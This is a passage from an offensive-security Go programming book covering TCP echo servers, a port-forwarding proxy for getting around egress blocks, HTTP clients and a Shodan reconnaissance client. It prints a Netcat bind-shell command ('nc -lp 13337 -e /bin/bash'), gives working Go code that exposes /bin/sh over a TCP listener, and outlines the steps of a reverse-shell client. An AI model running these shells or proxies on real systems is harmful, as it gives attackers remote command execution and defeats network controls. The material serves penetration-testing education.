to learn how to read and write data to and from a socket. To do this, you’ll
use net.Conn, Go’s stream-oriented network connection, which we introduced
when you built a port scanner. Based on Go’s documentation for the data
type, Conn implements the Read([]byte) and Write([]byte) functions as defined
for the Reader and Writer interfaces. Therefore, Conn is both a Reader and a
Writer (yes, this is possible). This makes sense logically, as TCP connections
are bidirectional and can be used to send (write) or receive (read) data.
After creating an instance of Conn, you’ll be able to send and receive
data over a TCP socket. However, a TCP server can’t simply manufacture
a connection; a client must establish a connection. In Go, you can use
net.Listen(network, address string) to first open a TCP listener on a specific
port. Once a client connects, the Accept() method creates and returns a
Conn object that you can use for receiving and sending data.
Listing 2-11 shows a complete example of a server implementation.
We’ve included comments inline for clarity. Don’t worry about understand-
ing the code in its entirety, as we’ll break it down momentarily.
package main
import (
"log"
"net"
)
前沿信安资讯阵地 公众号:i nf osrc
36 Chapter 2
// echo is a handler function that simply echoes received data.
func echo(conn net.Conn) {
defer conn.Close()
// Create a buffer to store received data.
b := make([]byte, 512)
u for {
// Receive data via conn.Read into a buffer.
size, err := conn.Readv(b[0:])
if err == io.EOF {
log.Println("Client disconnected")
break
}
if err != nil {
log.Println("Unexpected error")
break
}
log.Printf("Received %d bytes: %s\n", size, string(b))
// Send data via conn.Write.
log.Println("Writing data")
if _, err := conn.Writew(b[0:size]); err != nil {
log.Fatalln("Unable to write data")
}
}
}
func main() {
// Bind to TCP port 20080 on all interfaces.
x listener, err := net.Listen("tcp", ":20080")
if err != nil {
log.Fatalln("Unable to bind to port")
}
log.Println("Listening on 0.0.0.0:20080")
y for {
// Wait for connection. Create net.Conn on connection established.
z conn, err := listener.Accept()
log.Println("Received connection")
if err != nil {
log.Fatalln("Unable to accept connection")
}
// Handle the connection. Using goroutine for concurrency.
{ go echo(conn)
}
}
Listing 2-11: A basic echo server (/ch-2/echo-server /main.go)
Listing 2-11 begins by defining a function named echo(net.Conn), which
accepts a Conn instance as a parameter. It behaves as a connection handler to
perform all necessary I/O. The function loops indefinitely u, using a buffer
to read v and write w data from and to the connection. The data is read
into a variable named b and subsequently written back on the connection.
前沿信安资讯阵地 公众号:i nf osrc
TCP, Scanners, and Proxies 37
Now you need to set up a listener that will call your handler. As men-
tioned previously, a server can’t manufacture a connection but must instead
listen for a client to connect. Therefore, a listener, defined as tcp bound
to port 20080, is started on all interfaces by using the net.Listen(network,
address string) function x.
Next, an infinite loop y ensures that the server will continue to listen
for connections even after one has been received. Within this loop, you
call listener.Accept() z, a function that blocks execution as it awaits client
connections. When a client connects, this function returns a Conn instance.
Recall from earlier discussions in this section that Conn is both a Reader and
a Writer (it implements the Read([]byte) and Write([]byte) interface methods).
The Conn instance is then passed to the echo(net.Conn) handler func-
tion {. This call is prefaced with the go keyword, making it a concurrent
call so that other connections don’t block while waiting for the handler
function to complete. This is likely overkill for such a simple server, but
we’ve included it again to demonstrate the simplicity of Go’s concurrency
pattern, in case it wasn’t already clear. At this point, you have two light-
weight threads running concurrently:
•
The main thread loops back and blocks on listener.Accept() while it
awaits another connection.
•
The handler goroutine, whose execution has been transferred to
the echo(net.Conn) function, proceeds to run, processing the data.
The following shows an example using Telnet as the connecting client:
$ telnet localhost 20080
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
test of the echo server
test of the echo server
The server produces the following standard output:
$ go run main.go
2020/01/01 06:22:09 Listening on 0.0.0.0:20080
2020/01/01 06:22:14 Received connection
2020/01/01 06:22:18 Received 25 bytes: test of the echo server
2020/01/01 06:22:18 Writing data
Revolutionary, right? A server that repeats back to the client exactly
what the client sent to the server. What a useful and exciting example! It’s
quite a time to be alive.
Improving the Code by Creating a Buffered Listener
The example in Listing 2-11 works perfectly fine but relies on fairly low-level
function calls, buffer tracking, and iterative reads/writes. This is a some-
what tedious, error-prone process. Fortunately, Go contains other packages
前沿信安资讯阵地 公众号:i nf osrc
38 Chapter 2
that can simplify this process and reduce the complexity of the code.
Specifically, the bufio package wraps Reader and Writer to create a buffered
I/O mechanism. The updated echo(net.Conn) function is detailed here, and
an explanation of the changes follows:
func echo(conn net.Conn) {
defer conn.Close()
u reader := bufio.NewReader(conn)
s, err := reader.ReadString('\n')v
if err != nil {
log.Fatalln("Unable to read data")
}
log.Printf("Read %d bytes: %s", len(s), s)
log.Println("Writing data")
w writer := bufio.NewWriter(conn)
if _, err := writer.WriteString(s)x; err != nil {
log.Fatalln("Unable to write data")
}
y writer.Flush()
}
No longer are you directly calling the Read([]byte) and Write([]byte)
functions on the Conn instance; instead, you’re initializing a new buffered
Reader and Writer via NewReader(io.Reader) u and NewWriter(io.Writer) w. These
calls both take, as a parameter, an existing Reader and Writer (remember,
the Conn type implements the necessary functions to be considered both
a Reader and a Writer).
Both buffered instances contain complementary functions for read-
ing and writing string data. ReadString(byte) v takes a delimiter character
used to denote how far to read, whereas WriteString(byte) x writes the
string to the socket. When writing data, you need to explicitly call writer
.Flush() y to flush write all the data to the underlying writer (in this case,
a Conn instance).
Although the previous example simplifies the process by using buff-
ered I/O, you can reframe it to use the Copy(Writer, Reader) convenience
function. Recall that this function takes as input a destination Writer and
a source Reader, simply copying from source to destination.
In this example, you’ll pass the conn variable as both the source and
destination because you’ll be echoing the contents back on the established
connection:
func echo(conn net.Conn) {
defer conn.Close()
// Copy data from io.Reader to io.Writer via io.Copy().
if _, err := io.Copy(conn, conn); err != nil {
log.Fatalln("Unable to read/write data")
}
}
前沿信安资讯阵地 公众号:i nf osrc
TCP, Scanners, and Proxies 39
You’ve explored the basics of I/O and applied it to TCP servers. Now it’s
time to move on to more usable, relevant examples.
Proxying a TCP Client
Now that you have a solid foundation, you can take what you’ve learned
up to this point and create a simple port forwarder to proxy a connection
through an intermediary service or host. As mentioned earlier in this
chapter, this is useful for trying to circumvent restrictive egress controls
or to leverage a system to bypass network segmentation.
Before laying out the code, consider this imaginary but realistic prob-
lem: Joe is an underperforming employee who works for ACME Inc. as a
business analyst making a handsome salary based on slight exaggerations
he included on his resume. (Did he really go to an Ivy League school? Joe,
that’s not very ethical.) Joe’s lack of motivation is matched only by his love
for cats—so much so that Joe installed cat cameras at home and hosted a
site, joescatcam.website, through which he could remotely monitor the dan-
der-filled fluff bags. One problem, though: ACME is onto Joe. They don’t
like that he’s streaming his cat cam 24/7 in 4K ultra high-def, using valu-
able ACME network bandwidth. ACME has even blocked its employees from
visiting Joe’s cat cam website.
Joe has an idea. “What if I set up a port-forwarder on an internet-
based system I control,” Joe says, “and force the redirection of all traffic
from that host to joescatcam.website?” Joe checks at work the following day
and confirms he can access his personal website, hosted at the joesproxy.com
domain. Joe skips his afternoon meetings, heads to a coffee shop, and
quickly codes a solution to his problem. He’ll forward all traffic received
at http://joesproxy.com to http://joescatcam.website.
Here’s Joe’s code, which he runs on the joesproxy.com server:
func handle(src net.Conn) {
dst, err := net.Dial("tcp", "joescatcam.website:80")u
if err != nil {
log.Fatalln("Unable to connect to our unreachable host")
}
defer dst.Close()
// Run in goroutine to prevent io.Copy from blocking
v go func() {
// Copy our source's output to the destination
if _, err := io.Copy(dst, src)w; err != nil {
log.Fatalln(err)
}
}()
// Copy our destination's output back to our source
if _, err := io.Copy(src, dst)x; err != nil {
log.Fatalln(err)
}
}
前沿信安资讯阵地 公众号:i nf osrc
40 Chapter 2
func main() {
// Listen on local port 80
listener, err := net.Listen("tcp", ":80")
if err != nil {
log.Fatalln("Unable to bind to port")
}
for {
conn, err := listener.Accept()
if err != nil {
log.Fatalln("Unable to accept connection")
}
go handle(conn)
}
}
Start by examining Joe’s handle(net.Conn) function. Joe connects to
joescatcam.website u (recall that this unreachable host isn’t directly accessible
from Joe’s corporate workstation). Joe then uses Copy(Writer, Reader) two
separate times. The first instance w ensures that data from the inbound
connection is copied to the joescatcam.website connection. The second
instance x ensures that data read from joescatcam.website is written back
to the connecting client’s connection. Because Copy(Writer, Reader) is a
blocking function, and will continue to block execution until the network
connection is closed, Joe wisely wraps his first call to Copy(Writer, Reader) in
a new goroutine v. This ensures that execution within the handle(net.Conn)
function continues, and the second Copy(Writer, Reader) call can be made.
Joe’s proxy listens on port 80 and relays any traffic received from
a connection to and from port 80 on joescatcam.website. Joe, that crazy
and wasteful man, confirms that he can connect to joescatcam.website via
joesproxy.com by connecting with curl:
$ curl -i -X GET http://joesproxy.com
HTTP/1.1 200 OK
Date: Wed, 25 Nov 2020 19:51:54 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Thu, 27 Jun 2019 15:30:43 GMT
ETag: "6d-519594e7f2d25"
Accept-Ranges: bytes
Content-Length: 109
Vary: Accept-Encoding
Content-Type: text/html
--snip--
At this point, Joe has done it. He’s living the dream, wasting ACME-
sponsored time and network bandwidth while he watches his cats. Today,
there will be cats!
Replicating Netcat for Command Execution
In this section, let’s replicate some of Netcat’s more interesting functionality—
specifically, its gaping security hole.
前沿信安资讯阵地 公众号:i nf osrc
TCP, Scanners, and Proxies 41
Netcat is the TCP/IP Swiss Army knife—essentially, a more flexible,
scriptable version of Telnet. It contains a feature that allows stdin and
stdout of any arbitrary program to be redirected over TCP, enabling an
attacker to, for example, turn a single command execution vulnerability
into operating system shell access. Consider the following:
$ nc –lp 13337 –e /bin/bash
This command creates a listening server on port 13337. Any remote
client that connects, perhaps via Telnet, would be able to execute arbitrary
bash commands—hence the reason this is referred to as a gaping security
hole. Netcat allows you to optionally include this feature during program
compilation. (For good reason, most Netcat binaries you’ll find on standard
Linux builds do not include this feature.) It’s dangerous enough that we’ll
show you how to create it in Go!
First, look at Go’s os/exec package. You’ll use that for running oper-
ating system commands. This package defines a type, Cmd, that contains
necessary methods and properties to run commands and manipulate stdin
and stdout. You’ll redirect stdin (a Reader) and stdout (a Writer) to a Conn
instance (which is both a Reader and a Writer).
When you receive a new connection, you can use the Command(name
string, arg ...string) function from os/exec to create a new Cmd instance.
This function takes as parameters the operating system command and any
arguments. In this example, hardcode /bin/sh as the command and pass -i
as an argument such that you’re in interactive mode, which allows you to
manipulate stdin and stdout more reliably:
cmd := exec.Command("/bin/sh", "-i")
This creates an instance of Cmd but doesn’t yet execute the command.
You have a couple of options for manipulating stdin and stdout. You could
use Copy(Writer, Reader) as discussed previously, or directly assign Reader and
Writer to Cmd. Let’s directly assign your Conn object to both cmd.Stdin and
cmd.Stdout, like so:
cmd.Stdin = conn
cmd.Stdout = conn
With the setup of the command and the streams complete, you run the
command by using cmd.Run():
if err := cmd.Run(); err != nil {
// Handle error.
}
This logic works perfectly fine on Linux systems. However, when
tweaking and running the program on a Windows system, running cmd.exe
instead of /bin/bash, you’ll find that the connecting client never receives the
前沿信安资讯阵地 公众号:i nf osrc
42 Chapter 2
command output because of some Windows-specific handling of anony-
mous pipes. Here are two solutions for this problem.
First, you can tweak the code to explicitly force the flushing of stdout to
correct this nuance. Instead of assigning Conn directly to cmd.Stdout, you imple-
ment a custom Writer that wraps bufio.Writer (a buffered writer) and explicitly
calls its Flush method to force the buffer to be flushed. Refer to the “Creating
the Echo Server” on page 35 for an exemplary use of bufio.Writer.
Here’s the definition of the custom writer, Flusher:
// Flusher wraps bufio.Writer, explicitly flushing on all writes.
type Flusher struct {
w *bufio.Writer
}
// NewFlusher creates a new Flusher from an io.Writer.
func NewFlusher(w io.Writer) *Flusher {
return &Flusher{
w: bufio.NewWriter(w),
}
}
// Write writes bytes and explicitly flushes buffer.
u func (foo *Flusher) Write(b []byte) (int, error) {
count, err := foo.w.Write(b)v
if err != nil {
return -1, err
}
if err := foo.w.Flush()w; err != nil {
return -1, err
}
return count, err
}
The Flusher type implements a Write([]byte) function u that writes v
the data to the underlying buffered writer and then flushes w the output.
With the implementation of a custom writer, you can tweak the connec-
tion handler to instantiate and use this Flusher custom type for cmd.Stdout:
func handle(conn net.Conn) {
// Explicitly calling /bin/sh and using -i for interactive mode
// so that we can use it for stdin and stdout.
// For Windows use exec.Command("cmd.exe").
cmd := exec.Command("/bin/sh", "-i")
// Set stdin to our connection
cmd.Stdin = conn
// Create a Flusher from the connection to use for stdout.
// This ensures stdout is flushed adequately and sent via net.Conn.
cmd.Stdout = NewFlusher(conn)
// Run the command.
if err := cmd.Run(); err != nil {
前沿信安资讯阵地 公众号:i nf osrc
TCP, Scanners, and Proxies 43
log.Fatalln(err)
}
}
This solution, while adequate, certainly isn’t elegant. Although working
code is more important than elegant code, we’ll use this problem as
an opportunity to introduce the io.Pipe() function, Go’s synchronous,
in-memory pipe that can be used for connecting Readers and Writers:
func Pipe() (*PipeReader, *PipeWriter)
Using PipeReader and PipeWriter allows you to avoid having to explicitly
flush the writer and synchronously connect stdout and the TCP connection.
You will, yet again, rewrite the handler function:
func handle(conn net.Conn) {
// Explicitly calling /bin/sh and using -i for interactive mode
// so that we can use it for stdin and stdout.
// For Windows use exec.Command("cmd.exe").
cmd := exec.Command("/bin/sh", "-i")
// Set stdin to our connection
rp, wp := io.Pipe()u
cmd.Stdin = conn
v cmd.Stdout = wp
w go io.Copy(conn, rp)
cmd.Run()
conn.Close()
}
The call to io.Pipe() u creates both a reader and a writer that are
synchronously connected—any data written to the writer (wp in this exam-
ple) will be read by the reader (rp). So, you assign the writer to cmd.Stdout v
and then use io.Copy(conn, rp) w to link the PipeReader to the TCP con-
nection. You do this by using a goroutine to prevent the code from block-
ing. Any standard output from the command gets sent to the writer and
then subsequently piped to the reader and out over the TCP connection.
How’s that for elegant?
With that, you’ve successfully implemented Netcat’s gaping security
hole from the perspective of a TCP listener awaiting a connection. You can
use similar logic to implement the feature from the perspective of a con-
necting client redirecting stdout and stdin of a local binary to a remote
listener. The precise details are left to you to determine, but would likely
include the following:
•
Establish a connection to a remote listener via net.Dial(network,
address string).
•
Initialize a Cmd via exec.Command(name string, arg ...string).
•
Redirect Stdin and Stdout properties to utilize the net.Conn object.
•
Run the command.
前沿信安资讯阵地 公众号:i nf osrc
44 Chapter 2
At this point, the listener should receive a connection. Any data sent
to the client should be interpreted as stdin on the client, and any data
received on the listener should be interpreted as stdout. The full code of
this example is available at https://github.com/blackhat-go/bhg/blob/master/ch-2
/netcat-exec/main.go.
Summary
Now that you’ve explored practical applications and usage of Go as it
relates to networking, I/O, and concurrency, let’s move on to creating
usable HTTP clients.
前沿信安资讯阵地 公众号:i nf osrc
In Chapter 2, you learned how to harness
the power of TCP with various techniques
for creating usable clients and servers. This
is the first in a series of chapters that explores a
variety of protocols on higher layers of the OSI model.
Because of its prevalence on networks, its affiliation
with relaxed egress controls, and its general flexibility,
let’s begin with HTTP.
This chapter focuses on the client side. It will first introduce you to
the basics of building and customizing HTTP requests and receiving their
responses. Then you’ll learn how to parse structured response data so the
client can interrogate the information to determine actionable or relevant
data. Finally, you’ll learn how to apply these fundamentals by building HTTP
clients that interact with a variety of security tools and resources. The clients
you develop will query and consume the APIs of Shodan, Bing, and Metasploit
and will search and parse document metadata in a manner similar to the
metadata search tool FOCA.
3
H T T P CL IE N T S A N D
R E MO T E IN T E R AC T ION
W I T H T OOL S
前沿信安资讯阵地 公众号:i nf osrc
46 Chapter 3
HTTP Fundamentals with Go
Although you don’t need a comprehensive understanding of HTTP, you
should know some fundamentals before you get started.
First, HTTP is a stateless protocol: the server doesn’t inherently maintain
state and status for each request. Instead, state is tracked through a variety
of means, which may include session identifiers, cookies, HTTP headers, and
more. The client and servers have a responsibility to properly negotiate and
validate this state.
Second, communications between clients and servers can occur either
synchronously or asynchronously, but they operate on a request/response
cycle. You can include several options and headers in the request in order
to influence the behavior of the server and to create usable web applica-
tions. Most commonly, servers host files that a web browser renders to pro-
duce a graphical, organized, and stylish representation of the data. But the
endpoint can serve arbitrary data types. APIs commonly communicate via
more structured data encoding, such as XML, JSON, or MSGRPC. In some
cases, the data retrieved may be in binary format, representing an arbitrary
file type for download.
Finally, Go contains convenience functions so you can quickly and eas-
ily build and send HTTP requests to a server and subsequently retrieve and
process the response. Through some of the mechanisms you’ve learned in
previous chapters, you’ll find that the conventions for handling structured
data prove extremely convenient when interacting with HTTP APIs.
Calling HTTP APIs
Let’s begin the HTTP discussion by examining basic requests. Go’s net/http
standard package contains several convenience functions to quickly and
easily send POST, GET, and HEAD requests, which are arguably the most
common HTTP verbs you’ll use. These functions take the following forms:
Get(url string) (resp *Response, err error)
Head(url string) (resp *Response, err error)
Post(url string, bodyType string, body io.Reader) (resp *Response, err error)
Each function takes—as a parameter—the URL as a string value and
uses it for the request’s destination. The Post() function is slightly more
complex than the Get() and Head() functions. Post() takes two additional
parameters: bodyType, which is a string value that you use for the Content-
Type HTTP header (commonly application/x-www-form-urlencoded) of the
request body, and an io.Reader, which you learned about in Chapter 2.
You can see a sample implementation of each of these functions in
Listing 3-1. (All the code listings at the root location of / exist under the
provided github repo https://github.com/blackhat-go/bhg/.) Note that the
POST request creates the request body from form values and sets the
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 47
Content-Type header. In each case, you must close the response body
after you’re done reading data from it.
r1, err := http.Get("http://www.google.com/robots.txt")
// Read response body. Not shown.
defer r1.Body.Close()
r2, err := http.Head("http://www.google.com/robots.txt")
// Read response body. Not shown.
defer r2.Body.Close()
form := url.Values{}
form.Add("foo", "bar")
r3, err = http.Postu(
"https://www.google.com/robots.txt",
v "application/x-www-form-urlencoded",
strings.NewReader(form.Encode()w),
)
// Read response body. Not shown.
defer r3.Body.Close()
Listing 3-1: Sample implementations of the Get(), Head(), and Post() functions
(/ch-3/basic/main.go)
The POST function call u follows the fairly common pattern of setting
the Content-Type to application/x-www-form-urlencoded v, while URL-encoding
form data w.
Go has an additional POST request convenience function, called
PostForm(), which removes the tediousness of setting those values and
manually encoding every request; you can see its syntax here:
func PostForm(url string, data url.Values) (resp *Response, err error)
If you want to substitute the PostForm() function for the Post() implemen-
tation in Listing 3-1, you use something like the bold code in Listing 3-2.
form := url.Values{}
form.Add("foo", "bar")
r3, err := http.PostForm("https://www.google.com/robots.txt", form)
// Read response body and close.
Listing 3-2: Using the PostForm() function instead of Post() (/ch-3/basic/main.go)
Unfortunately, no convenience functions exist for other HTTP verbs,
such as PATCH, PUT, or DELETE. You’ll use these verbs mostly to interact
with RESTful APIs, which employ general guidelines on how and why a
server should use them; but nothing is set in stone, and HTTP is like the
Old West when it comes to verbs. In fact, we’ve often toyed with the idea of
creating a new web framework that exclusively uses DELETE for everything.
we’d call it DELETE.js, and it would be a top hit on Hacker News for sure.
By reading this, you’re agreeing not to steal this idea!
前沿信安资讯阵地 公众号:i nf osrc
48 Chapter 3
Generating a Request
To generate a request with one of these verbs, you can use the NewRequest()
function to create the Request struct, which you’ll subsequently send using
the Client function’s Do() method. We promise that it’s simpler than it
sounds. The function prototype for http.NewRequest() is as follows:
func NewRequest(umethod, vurl string, wbody io.Reader) (req *Request, err error)
You need to supply the HTTP verb u and destination URL v to
NewRequest() as the first two string parameters. Much like the first POST
example in Listing 3-1, you can optionally supply the request body by
passing in an io.Reader as the third and final parameter w.
Listing 3-3 shows a call without an HTTP body—a DELETE request.
req, err := http.NewRequest("DELETE", "https://www.google.com/robots.txt", nil)
var client http.Client
resp, err := client.Do(req)
// Read response body and close.
Listing 3-3: Sending a DELETE request (/ch-3/basic /main.go)
Now, Listing 3-4 shows a PUT request with an io.Reader body (a PATCH
request looks similar).
form := url.Values{}
form.Add("foo", "bar")
var client http.Client
req, err := http.NewRequest(
"PUT",
"https://www.google.com/robots.txt",
strings.NewReader(form.Encode()),
)
resp, err := client.Do(req)
// Read response body and close.
Listing 3-4: Sending a PUT request (/ch-3/basic /main.go)
The standard Go net/http library contains several functions that you
can use to manipulate the request before it’s sent to the server. You’ll learn
some of the more relevant and applicable variants as you work through
practical examples throughout this chapter. But first, we’ll show you how to
do something meaningful with the HTTP response that the server receives.
Using Structured Response Parsing
In the previous section, you learned the mechanisms for building and send-
ing HTTP requests in Go. Each of those examples glossed over response
handling, essentially ignoring it for the time being. But inspecting various
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 49
components of the HTTP response is a crucial aspect of any HTTP-related
task, like reading the response body, accessing cookies and headers, or
simply inspecting the HTTP status code.
Listing 3-5 refines the GET request in Listing 3-1 to display the status
code and response body—in this case, Google’s robots.txt file. It uses the
ioutil.ReadAll() function to read data from the response body, does some
error checking, and prints the HTTP status code and response body to
stdout.
u resp, err := http.Get("https://www.google.com/robots.txt")
if err != nil {
log.Panicln(err)
}
// Print HTTP Status
fmt.Println(resp.Statusv)
// Read and display response body
body, err := ioutil.ReadAll(resp.Bodyw)
if err != nil {
log.Panicln(err)
}
fmt.Println(string(body))
x resp.Body.Close()
Listing 3-5: Processing the HTTP response body (/ch-3/basic/main.go)
Once you receive your response, named resp u in the above code, you
can retrieve the status string (for example, 200 OK) by accessing the exported
Status parameter v; not shown in our example, there is a similar StatusCode
parameter that accesses only the integer portion of the status string.
The Response type contains an exported Body parameter w, which is of
type io.ReadCloser. An io.ReadCloser is an interface that acts as an io.Reader
as well as an io.Closer, or an interface that requires the implementation of
a Close() function to close the reader and perform any cleanup. The details
are somewhat inconsequential; just know that after reading the data from
an io.ReadCloser, you’ll need to call the Close() function x on the response
body. Using defer to close the response body is a common practice; this will
ensure that the body is closed before you return it.
Now, run the script to see the error status and response body:
$ go run main.go
200 OK
User-agent: *
Disallow: /search
Allow: /search/about
Disallow: /sdch
Disallow: /groups
Disallow: /index.html?
Disallow: /?
Allow: /?hl=
前沿信安资讯阵地 公众号:i nf osrc
50 Chapter 3
Disallow: /?hl=*&
Allow: /?hl=*&gws_rd=ssl$
Disallow: /?hl=*&*&gws_rd=ssl
--snip--
If you encounter a need to parse more structured data—and it’s likely
that you will—you can read the response body and decode it by using the
conventions presented in Chapter 2. For example, imagine you’re interact-
ing with an API that communicates using JSON, and one endpoint—say,
/ping—returns the following response indicating the server state:
{"Message":"All is good with the world","Status":"Success"}
You can interact with this endpoint and decode the JSON message by
using the program in Listing 3-6.
package main
import {
encoding/json"
log
net/http
}
u type Status struct {
Message string
Status string
}
func main() {
v res, err := http.Post(
"http://IP:PORT/ping",
"application/json",
nil,
)
if err != nil {
log.Fatalln(err)
}
var status Status
w if err := json.NewDecoder(res.Body).Decode(&status); err != nil {
log.Fatalln(err)
}
defer res.Body.Close()
log.Printf("%s -> %s\n", status.Statusx, status.Messagey)
}
Listing 3-6: Decoding a JSON response body (/ch-3/basic-parsing/main.go)
The code begins by defining a struct called Status u, which contains
the expected elements from the server response. The main() function first
sends the POST request v and then decodes the response body w. After
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 51
doing so, you can query the Status struct as you normally would—by access-
ing exported data types Status x and Message y.
This process of parsing structured data types is consistent across other
encoding formats, like XML or even binary representations. You begin the
process by defining a struct to represent the expected response data and
then decoding the data into that struct. The details and actual implementa-
tion of parsing other formats will be left up to you to determine.
The next sections will apply these fundamental concepts to assist you in
building tools to interact with third-party APIs for the purpose of enhanc-
ing adversarial techniques and reconnaissance.
Building an HTTP Client That Interacts with Shodan
Prior to performing any authorized adversarial activities against an orga-
nization, any good attacker begins with reconnaissance. Typically, this
starts with passive techniques that don’t send packets to the target; that
way, detection of the activity is next to impossible. Attackers use a variety of
sources and services—including social networks, public records, and search
engines—to gain potentially useful information about the target.
It’s absolutely incredible how seemingly benign information becomes
critical when environmental context is applied during a chained attack
scenario. For example, a web application that discloses verbose error messages
may, alone, be considered low severity. However, if the error messages disclose
the enterprise username format, and if the organization uses single-factor
authentication for its VPN, those error messages could increase the likelihood
of an internal network compromise through password-guessing attacks.
Maintaining a low profile while gathering the information ensures that
the target’s awareness and security posture remains neutral, increasing the
likelihood that your attack will be successful.
Shodan (https://www.shodan.io/), self-described as “the world’s first search
engine for internet-connected devices,” facilitates passive reconnaissance by
maintaining a searchable database of networked devices and services, includ-
ing metadata such as product names, versions, locale, and more. Think of
Shodan as a repository of scan data, even if it does much, much more.
Reviewing the Steps for Building an API Client
In the next few sections, you’ll build an HTTP client that interacts with the
Shodan API, parsing the results and displaying relevant information. First,
you’ll need a Shodan API key, which you get after you register on Shodan’s
website. At the time of this writing, the fee is fairly nominal for the lowest
tier, which offers adequate credits for individual use, so go sign up for that.
Shodan occasionally offers discounted pricing, so monitor it closely if you
want to save a few bucks.
Now, get your API key from the site and set it as an environment vari-
able. The following examples will work as-is only if you save your API key as
the variable SHODAN_API_KEY. Refer to your operating system’s user manual, or
better yet, look at Chapter 1 if you need help setting the variable.
前沿信安资讯阵地 公众号:i nf osrc
52 Chapter 3
Before working through the code, understand that this section demon-
strates how to create a bare-bones implementation of a client—not a fully
featured, comprehensive implementation. However, the basic scaffolding
you’ll build now will allow you to easily extend the demonstrated code to
implement other API calls as you may need.
The client you build will implement two API calls: one to query sub-
scription credit information and the other to search for hosts that contain
a certain string. You use the latter call for identifying hosts; for example,
ports or operating systems matching a certain product.
Luckily, the Shodan API is straightforward, producing nicely structured
JSON responses. This makes it a good starting point for learning API inter-
action. Here is a high-level overview of the typical steps for preparing and
building an API client:
1. Review the service’s API documentation.
2. Design a logical structure for the code in order to reduce complexity
and repetition.
3. Define request or response types, as necessary, in Go.
4. Create helper functions and types to facilitate simple initialization,
authentication, and communication to reduce verbose or repetitive logic.
5. Build the client that interacts with the API consumer functions and types.
We won’t explicitly call out each step in this section, but you should use
this list as a map to guide your development. Start by quickly reviewing the
API documentation on Shodan’s website. The documentation is minimal
but produces everything needed to create a client program.
Designing the Project Structure
When building an API client, you should structure it so that the function
calls and logic stand alone. This allows you to reuse the implementation as
a library in other projects. That way, you won’t have to reinvent the wheel
in the future. Building for reusability slightly changes a project’s structure.
For the Shodan example, here’s the project structure:
$ tree github.com/blackhat-go/bhg/ch-3/shodan
github.com/blackhat-go/bhg/ch-3/shodan
|---cmd
| |---shodan
| |---main.go
|---shodan
|---api.go
|---host.go
|---shodan.go
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 53
The main.go file defines package main and is used primarily as a con-
sumer of the API you’ll build; in this case, you use it primarily to interact
with your client implementation.
The files in the shodan directory—api.go, host.go, and shodan.go—define
package shodan, which contains the types and functions necessary for com-
munication to and from Shodan. This package will become your stand-
alone library that you can import into various projects.
Cleaning Up API Calls
When you perused the Shodan API documentation, you may have noticed
that every exposed function requires you to send your API key. Although
you certainly can pass that value around to each consumer function you
create, that repetitive task becomes tedious. The same can be said for either
hardcoding or handling the base URL (https://api.shodan.io/). For example,
defining your API functions, as in the following snippet, requires you to
pass in the token and URL to each function, which isn’t very elegant:
func APIInfo(token, url string) { --snip-- }
func HostSearch(token, url string) { --snip-- }
Instead, opt for a more idiomatic solution that allows you to save key-
strokes while arguably making your code more readable. To do this, create
a shodan.go file and enter the code in Listing 3-7.
package shodan
u const BaseURL = "https://api.shodan.io"
v type Client struct {
apiKey string
}
w func New(apiKey string) *Client {
return &Client{apiKey: apiKey}
}
Listing 3-7: Shodan Client definition (/ch-3/shodan/shodan/shodan.go)
The Shodan URL is defined as a constant value u; that way, you can
easily access and reuse it within your implementing functions. If Shodan
ever changes the URL of its API, you’ll have to make the change at only
this one location in order to correct your entire codebase. Next, you define
a Client struct, used for maintaining your API token across requests v.
Finally, the code defines a New() helper function, taking the API token as
input and creating and returning an initialized Client instance w. Now,
rather than creating your API code as arbitrary functions, you create them
as methods on the Client struct, which allows you to interrogate the instance
前沿信安资讯阵地 公众号:i nf osrc
54 Chapter 3
directly rather than relying on overly verbose function parameters. You
can change your API function calls, which we’ll discuss momentarily, to
the following:
func (s *Client) APIInfo() { --snip-- }
func (s *Client) HostSearch() { --snip-- }
Since these are methods on the Client struct, you can retrieve the API
key through s.apiKey and retrieve the URL through BaseURL. The only pre-
requisite to calling the methods is that you create an instance of the Client
struct first. You can do this with the New() helper function in shodan.go.
Querying Your Shodan Subscription
Now you’ll start the interaction with Shodan. Per the Shodan API documen-
tation, the call to query your subscription plan information is as follows:
https://api.shodan.io/api-info?key={YOUR_API_KEY}
The response returned resembles the following structure. Obviously, the
values will differ based on your plan details and remaining subscription credits.
{
"query_credits": 56,
"scan_credits": 0,
"telnet": true,
"plan": "edu",
"https": true,
"unlocked": true,
}
First, in api.go, you’ll need to define a type that can be used to unmarshal
the JSON response to a Go struct. Without it, you won’t be able to process or
interrogate the response body. In this example, name the type APIInfo:
type APIInfo struct {
QueryCredits int `json:"query_credits"`
ScanCredits int `json:"scan_credits"`
Telnet bool `json:"telnet"`
Plan string `json:"plan"`
HTTPS bool `json:"https"`
Unlocked bool `json:"unlocked"`
}
The awesomeness that is Go makes that structure and JSON alignment
a joy. As shown in Chapter 1, you can use some great tooling to “automagically”
parse JSON—populating the fields for you. For each exported type on the
struct, you explicitly define the JSON element name with struct tags so you
can ensure that data is mapped and parsed properly.
前沿信安资讯阵地 公众号:i nf osrc
HTTP Clients and Remote Interaction with Tools 55
Next you need to implement the function in Listing 3-8, which makes
an HTTP GET request to Shodan and decodes the response into your
APIInfo struct:
func (s *Client) APIInfo() (*APIInfo, error) {
res, err := http.Get(fmt.Sprintf("%s/api-info?key=%s", BaseURL, s.apiKey))u
if err != nil {
return nil, err
}
defer res.Body.Close()
var ret APIInfo
if err := json.NewDecoder(res.Body).Decode(&ret)v; err != nil {
return nil, err
}
return &ret, nil
}
Listing 3-8: Making an HTTP GET request and decoding the response (/ch-3/shodan
/shodan/api.go)
The implementation is short and sweet. You first issue an HTTP GET
request to the /api-info resource u. The full URL is built using the BaseURL
global constant and s.apiKey. You then decode the response into your
APIInfo struct v and return it to the caller.
Before writing code that utilizes this shiny new logic, build out a second,
more useful API call—the host search—which you’ll add to host.go. The
request and response, according to the API documentation, is as follows:
https://api.shodan.io/shodan/host/search?key={YOUR_API_KEY}&query={query}&facets={facets}
{
"matches": [
{
"os": null,
"timestamp": "2014-01-15T05:49:56.283713",
"isp": "Vivacom",
"asn": "AS8866",
